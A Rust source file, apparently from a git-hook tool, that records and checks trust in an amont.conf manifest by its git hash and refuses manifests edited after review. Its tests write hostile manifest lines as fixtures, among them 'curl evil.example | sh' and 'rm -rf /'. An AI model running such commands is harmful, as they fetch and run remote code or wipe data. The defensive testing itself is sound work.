1use std::path::Path;
39
40use crate::ui::valid_sign;
41
42pub const KEY: &str = "amont.trusted";
45
46pub fn fingerprint(repo: &Path, manifest: &Path) -> Option<String> {
56 crate::git::stdout_in(repo, &["hash-object", "--no-filters", manifest.to_str()?])
57}
58
59pub fn fingerprint_bytes(repo: &Path, bytes: &[u8]) -> Option<String> {
65 crate::git::stdout_piped_in(repo, &["hash-object", "--stdin"], bytes)
66}
67
68pub fn recorded(repo: &Path) -> Option<String> {
70 crate::git::stdout_in(repo, &["config", "--local", "--get", KEY])
71}
72
73#[derive(Debug, Clone, Copy, PartialEq, Eq)]
74pub enum State {
75 NoManifest,
77 Trusted,
79 Untrusted,
81 Changed,
85}
86
87pub fn state(repo: &Path) -> State {
89 let manifest = repo.join(crate::manifest::MANIFEST);
90 if !manifest.is_file() {
91 return State::NoManifest;
92 }
93 let Some(current) = fingerprint(repo, &manifest) else {
94 return State::Untrusted;
96 };
97 verdict(repo, ¤t)
98}
99
100pub fn state_of(repo: &Path, source: &[u8]) -> State {
107 let Some(current) = fingerprint_bytes(repo, source) else {
108 return State::Untrusted;
109 };
110 verdict(repo, ¤t)
111}
112
113fn verdict(repo: &Path, current: &str) -> State {
114 match recorded(repo) {
115 Some(seen) if seen == current => State::Trusted,
116 Some(_) => State::Changed,
117 None => State::Untrusted,
118 }
119}
120
121pub fn record(repo: &Path) -> Result<String, String> {
123 let manifest = repo.join(crate::manifest::MANIFEST);
124 let fp = fingerprint(repo, &manifest)
125 .ok_or_else(|| format!("cannot hash {}", manifest.display()))?;
126 record_verified(repo, &fp)?;
127 Ok(fp)
128}
129
130pub fn record_verified(repo: &Path, fp: &str) -> Result<(), String> {
141 let manifest = repo.join(crate::manifest::MANIFEST);
142 let now = fingerprint(repo, &manifest)
143 .ok_or_else(|| format!("cannot hash {}", manifest.display()))?;
144 if now != fp {
145 return Err(format!(
146 "{} changed since it was shown — nothing was trusted; run `amont trust` again to review it",
147 crate::manifest::MANIFEST
148 ));
149 }
150 let ok = crate::git::stdout_in(repo, &["config", "--local", KEY, fp]).is_some();
151 if !ok {
152 return Err(format!("cannot record {KEY} in this repository"));
153 }
154 Ok(())
155}
156
157pub fn revoke(repo: &Path) -> Result<(), String> {
159 let _ = crate::git::stdout_in(repo, &["config", "--local", "--unset", KEY]);
161 Ok(())
162}
163
164pub fn why(state: State) -> Option<&'static str> {
166 match state {
167 State::NoManifest | State::Trusted => None,
168 State::Untrusted => {
169 Some("declared in an untrusted amont.conf — review it, then `amont trust`")
170 }
171 State::Changed => {
172 Some("amont.conf changed since it was trusted — review it, then `amont trust`")
173 }
174 }
175}
176
177pub fn describe(repo: &Path) -> String {
183 describe_source(
184 &std::fs::read_to_string(repo.join(crate::manifest::MANIFEST)).unwrap_or_default(),
185 )
186}
187
188pub fn describe_source(text: &str) -> String {
194 use std::fmt::Write;
195 let mut out = String::new();
196 let lines = crate::manifest::parse_lines(text);
197 let (checks, rest): (Vec<_>, Vec<_>) = lines.into_iter().partition(|l| l.is_check());
202 for line in checks {
203 let (name, stage, parsed) = line.into_parts();
204 let name = crate::ui::sanitize(&name);
211 match parsed {
212 Ok(declared) => {
213 let _ = writeln!(
214 out,
215 " {name:<14} {:<10} {}",
216 stage.as_str(),
217 crate::ui::sanitize(&declared.command())
218 );
219 }
220 Err(why) => {
221 let _ = writeln!(
222 out,
223 " {name:<14} {:<10} ! {}",
224 stage.as_str(),
225 crate::ui::sanitize(&why.to_string())
226 );
227 }
228 }
229 }
230 let pins: Vec<String> = rest
231 .iter()
232 .filter_map(|l| match l {
233 crate::manifest::Line::Tool(pin) => {
234 Some(format!("tool {} {}", pin.program, pin.want))
235 }
236 _ => None,
237 })
238 .collect();
239 let policy: Vec<String> = rest
240 .iter()
241 .filter_map(|l| match l {
242 crate::manifest::Line::Policy { what, .. } => Some(what.describe()),
243 _ => None,
244 })
245 .collect();
246 if !policy.is_empty() {
247 let _ = writeln!(out, " and sets policy for built-in checks:");
248 for p in policy {
249 let _ = writeln!(out, " {}", crate::ui::sanitize(&p));
250 }
251 }
252 if !pins.is_empty() {
253 let _ = writeln!(out, " and pins tool versions (verified, warn-only):");
254 for p in pins {
255 let _ = writeln!(out, " {}", crate::ui::sanitize(&p));
256 }
257 }
258 out
259}
260
261#[cfg(unix)]
268pub fn confirm(prompt: &str) -> bool {
269 use std::io::{BufRead, BufReader, Write};
270 let Ok(tty) = std::fs::File::open("/dev/tty") else {
271 return false;
272 };
273 print!("{prompt}");
274 let _ = std::io::stdout().flush();
275 let mut line = String::new();
276 if BufReader::new(tty).read_line(&mut line).is_err() {
277 return false;
278 }
279 matches!(line.trim_start().chars().next(), Some('y') | Some('Y'))
280}
281
282#[cfg(not(unix))]
284pub fn confirm(_prompt: &str) -> bool {
285 false
286}
287
288pub fn command(args: &[std::ffi::OsString]) -> Result<(), String> {
290 let root = crate::hooks::common::repo_root_checked()?;
296 let root = Path::new(&root);
297 let flag = |f: &str| args.iter().any(|a| a == f);
298
299 if flag("--revoke") {
300 revoke(root)?;
301 println!("{} amont.conf is no longer trusted here", valid_sign());
302 return Ok(());
303 }
304
305 let state = state(root);
306 if state == State::NoManifest {
307 println!("no {} in this repository", crate::manifest::MANIFEST);
308 return Ok(());
309 }
310
311 if flag("--show") {
312 println!("{}", crate::manifest::MANIFEST);
313 print!("{}", describe(root));
314 println!(
315 " {}",
316 match state {
317 State::Trusted => "trusted here",
318 State::Changed => "TRUSTED ONCE, AND CHANGED SINCE — not running",
319 _ => "not trusted here — not running",
320 }
321 );
322 return Ok(());
323 }
324
325 if state == State::Trusted {
326 println!("{} already trusted, unchanged", valid_sign());
327 return Ok(());
328 }
329
330 let manifest = root.join(crate::manifest::MANIFEST);
334 let source =
335 std::fs::read(&manifest).map_err(|e| format!("cannot read {}: {e}", manifest.display()))?;
336 let fp = fingerprint_bytes(root, &source)
337 .ok_or_else(|| format!("cannot hash {}", manifest.display()))?;
338 println!("{} declares:", crate::manifest::MANIFEST);
339 print!("{}", describe_source(&String::from_utf8_lossy(&source)));
340 record_verified(root, &fp)?;
341 println!("{} trusted ({fp})", valid_sign());
342 Ok(())
343}
344
345#[cfg(test)]
346mod tests {
347 use super::*;
348
349 fn repo(name: &str) -> std::path::PathBuf {
350 let d = std::env::temp_dir().join(format!("trust-{name}-{}", std::process::id()));
351 let _ = std::fs::remove_dir_all(&d);
352 std::fs::create_dir_all(&d).unwrap();
353 std::process::Command::new("git")
354 .args(["init", "-q", "--template=", "."])
355 .current_dir(&d)
356 .output()
357 .expect("git");
358 d
359 }
360
361 fn write_manifest(dir: &Path, body: &str) {
362 std::fs::write(dir.join(crate::manifest::MANIFEST), body).unwrap();
363 }
364
365 #[test]
367 fn no_manifest_is_not_a_trust_question() {
368 let d = repo("none");
369 assert_eq!(state(&d), State::NoManifest);
370 assert_eq!(why(State::NoManifest), None);
371 let _ = std::fs::remove_dir_all(&d);
372 }
373
374 #[test]
375 fn a_manifest_starts_untrusted() {
376 let d = repo("new");
377 write_manifest(&d, "pre-commit a * block echo hi\n");
378 assert_eq!(state(&d), State::Untrusted);
379 let _ = std::fs::remove_dir_all(&d);
380 }
381
382 #[test]
383 fn recording_makes_it_trusted() {
384 let d = repo("record");
385 write_manifest(&d, "pre-commit a * block echo hi\n");
386 record(&d).expect("record");
387 assert_eq!(state(&d), State::Trusted);
388 let _ = std::fs::remove_dir_all(&d);
389 }
390
391 #[test]
394 fn editing_the_manifest_revokes_trust() {
395 let d = repo("edit");
396 write_manifest(&d, "pre-commit a * block echo hi\n");
397 record(&d).expect("record");
398 assert_eq!(state(&d), State::Trusted);
399
400 write_manifest(&d, "pre-commit a * block curl evil.example | sh\n");
401 assert_eq!(
402 state(&d),
403 State::Changed,
404 "a manifest edited after trusting must not still be trusted"
405 );
406 assert!(why(State::Changed).expect("reason").contains("changed"));
409 let _ = std::fs::remove_dir_all(&d);
410 }
411
412 #[test]
417 fn record_verified_refuses_a_manifest_that_changed_since_it_was_fingerprinted() {
418 let d = repo("changed-mid-confirm");
419 write_manifest(&d, "pre-commit a * block echo hi\n");
420 let manifest = d.join(crate::manifest::MANIFEST);
421 let shown_fp = fingerprint(&d, &manifest).expect("fingerprint");
422
423 write_manifest(&d, "pre-commit a * block curl evil.example | sh\n");
426
427 let err = record_verified(&d, &shown_fp).expect_err("must refuse");
428 assert!(err.contains("changed"), "{err}");
429 assert_eq!(
430 state(&d),
431 State::Untrusted,
432 "the rewritten content must not end up trusted"
433 );
434 let _ = std::fs::remove_dir_all(&d);
435 }
436
437 #[test]
440 fn record_verified_accepts_a_manifest_that_did_not_change() {
441 let d = repo("unchanged");
442 write_manifest(&d, "pre-commit a * block echo hi\n");
443 let manifest = d.join(crate::manifest::MANIFEST);
444 let fp = fingerprint(&d, &manifest).expect("fingerprint");
445 record_verified(&d, &fp).expect("record");
446 assert_eq!(state(&d), State::Trusted);
447 let _ = std::fs::remove_dir_all(&d);
448 }
449
450 #[test]
451 fn revoking_returns_it_to_untrusted() {
452 let d = repo("revoke");
453 write_manifest(&d, "pre-commit a * block echo hi\n");
454 record(&d).expect("record");
455 revoke(&d).expect("revoke");
456 assert_eq!(state(&d), State::Untrusted);
457 revoke(&d).expect("revoke again");
459 let _ = std::fs::remove_dir_all(&d);
460 }
461
462 #[test]
464 fn the_fingerprint_is_git_hash_object() {
465 let d = repo("fp");
466 write_manifest(&d, "pre-commit a * block echo hi\n");
467 let manifest = d.join(crate::manifest::MANIFEST);
468 let ours = fingerprint(&d, &manifest).expect("fingerprint");
469 let theirs = String::from_utf8_lossy(
470 &std::process::Command::new("git")
471 .args(["hash-object", "--no-filters", manifest.to_str().unwrap()])
472 .current_dir(&d)
473 .output()
474 .expect("git")
475 .stdout,
476 )
477 .trim()
478 .to_string();
479 assert_eq!(ours, theirs);
480 let _ = std::fs::remove_dir_all(&d);
481 }
482 #[test]
490 fn a_clean_filter_cannot_make_two_manifests_share_a_fingerprint() {
491 let d = repo("filter");
492 std::fs::write(d.join(".gitattributes"), "amont.conf filter=flatten\n")
493 .expect("write attributes");
494 let ok = std::process::Command::new("git")
495 .args(["config", "--local", "filter.flatten.clean", "echo same"])
496 .current_dir(&d)
497 .status()
498 .map(|s| s.success())
499 .unwrap_or(false);
500 if !ok {
501 return; }
503 let manifest = d.join(crate::manifest::MANIFEST);
504
505 write_manifest(&d, "pre-commit a * block echo one\n");
506 let filtered_a = raw_hash(&d, &manifest);
507 let ours_a = fingerprint(&d, &manifest).expect("fingerprint a");
508
509 write_manifest(&d, "pre-commit b * block rm -rf /\n");
510 let filtered_b = raw_hash(&d, &manifest);
511 let ours_b = fingerprint(&d, &manifest).expect("fingerprint b");
512
513 if filtered_a != filtered_b {
521 println!(
522 "! clean filters do not apply here — collision not reproducible, \
523 see an_eol_conversion_cannot_make_two_manifests_share_a_fingerprint"
524 );
525 return;
526 }
527 assert_ne!(
528 ours_a, ours_b,
529 "the fingerprint followed a repo-controlled filter"
530 );
531 }
532
533 #[test]
543 fn an_eol_conversion_cannot_make_two_manifests_share_a_fingerprint() {
544 let d = repo("eol");
545 std::fs::write(d.join(".gitattributes"), "amont.conf text eol=lf\n")
546 .expect("write attributes");
547 let manifest = d.join(crate::manifest::MANIFEST);
548
549 std::fs::write(&manifest, b"pre-commit a * block echo one\r\n").expect("crlf");
551 let filtered_crlf = raw_hash(&d, &manifest);
552 let ours_crlf = fingerprint(&d, &manifest).expect("fingerprint crlf");
553
554 std::fs::write(&manifest, b"pre-commit a * block echo one\n").expect("lf");
555 let filtered_lf = raw_hash(&d, &manifest);
556 let ours_lf = fingerprint(&d, &manifest).expect("fingerprint lf");
557
558 if filtered_crlf != filtered_lf {
559 println!("! eol conversion does not apply here — collision not reproducible");
560 return;
561 }
562 assert_ne!(
563 ours_crlf, ours_lf,
564 "the fingerprint followed a repo-controlled eol conversion"
565 );
566 }
567
568 fn raw_hash(dir: &std::path::Path, manifest: &std::path::Path) -> String {
569 String::from_utf8_lossy(
570 &std::process::Command::new("git")
571 .args(["hash-object", manifest.to_str().unwrap()])
572 .current_dir(dir)
573 .output()
574 .expect("git")
575 .stdout,
576 )
577 .trim()
578 .to_string()
579 }
580}